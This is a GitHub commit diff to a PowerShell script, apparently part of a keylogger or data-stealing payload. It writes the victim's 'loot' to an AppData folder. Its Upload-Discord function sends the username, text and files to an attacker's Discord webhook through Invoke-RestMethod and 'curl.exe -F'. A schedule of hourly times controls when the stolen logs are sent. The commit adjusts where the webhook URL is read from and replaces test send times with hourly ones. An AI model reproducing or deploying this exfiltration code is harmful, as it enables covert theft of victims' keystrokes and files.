Update -logs.ps1

This commit is contained in:
I-Am-Jakoby 2022-12-23 14:34:52 -06:00 committed by GitHub
parent cf9f3969aa
commit c37f6c4133
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -4,7 +4,7 @@
$Path="$env:appdata\-locker\$env:UserName-loot.txt" $Path="$env:appdata\-locker\$env:UserName-loot.txt"
$dc = [IO.File]::ReadAllText(".\wh.txt") $dc = (Get-Content "$env:appdata\-locker\wh.txt" -TotalCount 1)
function Upload-Discord { function Upload-Discord {
@ -16,7 +16,6 @@ param (
[string]$text [string]$text
) )
$hookurl = "$dc"
$Body = @{ $Body = @{
'username' = $env:username 'username' = $env:username
@ -24,15 +23,11 @@ $Body = @{
} }
if (-not ([string]::IsNullOrEmpty($text))){ if (-not ([string]::IsNullOrEmpty($text))){
Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)}; Invoke-RestMethod -ContentType 'Application/Json' -Uri $dc -Method Post -Body ($Body | ConvertTo-Json)};
if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl} if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $dc}
} }
if (-not ([string]::IsNullOrEmpty($dc))){Upload-Discord -file "$env:tmp/$ZIP"}
# times logs will be sent [keep in military time] # times logs will be sent [keep in military time]
$logTimes = @( $logTimes = @(
'00:00:00', '00:00:00',
@ -47,10 +42,10 @@ $logTimes = @(
'09:00:00', '09:00:00',
'10:00:00', '10:00:00',
'11:00:00', '11:00:00',
'14:11:00', '12:00:00',
'14:11:15', '13:00:00',
'14:11:30', '14:00:00',
'14:11:45', '15:00:00',
'16:00:00', '16:00:00',
'17:00:00', '17:00:00',
'18:00:00', '18:00:00',